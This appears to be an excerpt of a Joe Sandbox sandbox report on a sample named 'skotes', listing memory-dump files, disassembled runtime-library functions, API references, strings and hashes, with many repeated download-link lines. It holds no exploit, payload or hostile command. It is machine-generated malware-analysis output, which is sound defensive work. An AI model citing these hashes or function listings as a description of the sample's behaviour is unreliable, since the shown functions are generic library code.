Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 39fb9b71109cb492cd32fb02b967051bcebfb413860fadf3d44e805eb3031a2e
Instruction ID: 2494c9bddfbfd91c1e3ed9cee3a86735b94f819df7a7a20e158c304cd7e9e5b3
Opcode Fuzzy Hash: 39fb9b71109cb492cd32fb02b967051bcebfb413860fadf3d44e805eb3031a2e
Instruction Fuzzy Hash: 8E31A835A042149BCF44EF6CC481EAD77F5EF46320F5049E9E911AB291EB70DD01CBA0

Function 00BA727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00BA72BE

Strings

.bat, xrefs: 00BA72ED
.cmd, xrefs: 00BA72DC
.com, xrefs: 00BA72FE
.exe, xrefs: 00BA72CB

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 64d5fea2e315c65df3773f7c42838bfc154619de1837e1f05e22cf14484bf451
Instruction ID: 47e1c7359ab79f4a3c91fb9d7f920378fa97ef0d2a60ebdb8fee3fc679fd5c8c
Opcode Fuzzy Hash: 64d5fea2e315c65df3773f7c42838bfc154619de1837e1f05e22cf14484bf451
Instruction Fuzzy Hash: A301042765C623356A145119AD02F7A23C8DBC3BB4B2640AFFC64F72C2EF44DC4361A8

Function 00B8FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00B8FB06

Strings

kernel32.dll, xrefs: 00B8FA7A
GetThreadGroupAffinity, xrefs: 00B8FA93
SetThreadGroupAffinity, xrefs: 00B8FA87
GetCurrentProcessorNumberEx, xrefs: 00B8FABE

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 79f7e2717a7f9a95112cc2a5dac71f9bd7c3dda3c92e970d63090a660d586a6e
Instruction ID: d51216943da9e4a6ae2716c16cd00e85a5d4b8e22562daa0aa2d79706ab670c1
Opcode Fuzzy Hash: 79f7e2717a7f9a95112cc2a5dac71f9bd7c3dda3c92e970d63090a660d586a6e
Instruction Fuzzy Hash: 5901F9615517166DA610B6BD5CD3FBB66DCC9436187200DBBB401E31A2EEA4D8008276

Function 00BA2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00BA20B7

Part of subcall function 00B9CAF3: Mailbox.LIBCMT ref: 00B9CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BA20C8
StructuredWorkStealingQueue.LIBCMT ref: 00BA20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BA210F

Strings

e, xrefs: 00BA20D9

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 4557891558e9efcb5450756b700e5669296ced43f725ba90a0cc51778a000637
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: EF11A031208145ABDB55DF7DC881AAA77E5EF07324B2481EAFC06EF202DB71D901CBA0

Function 00B8D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00B8D0A5

Strings

kernel32.dll, xrefs: 00B8D04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00B8D03B
SleepConditionVariableCS, xrefs: 00B8D05D
WakeAllConditionVariable, xrefs: 00B8D069

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: bee21f58025145cba90176f5710176634d02c7597243a946abadfe504c60b857
Instruction ID: 2858de87638c2254e21c7586eb1b523b57f41a212c10afae534674d15616e840
Opcode Fuzzy Hash: bee21f58025145cba90176f5710176634d02c7597243a946abadfe504c60b857
Instruction Fuzzy Hash: 62018420682B1169BA31777D5C21E5B53C8CB43B54F191EA6AC00F32E0EAA0DC01C662

Function 00BB4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00BB4C98
__alloca_probe_16.LIBCMT ref: 00BB4D5E
__freea.LIBCMT ref: 00BB4DCA

Part of subcall function 00BAB04B: RtlAllocateHeap.NTDLL(00000000,EB1D7F10,?,?,00B8D3FC,EB1D7F10,?,00B87A8B,?,?,?,?,?,?,00B77465,?), ref: 00BAB07E

__freea.LIBCMT ref: 00BB4DD3
__freea.LIBCMT ref: 00BB4DF6

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
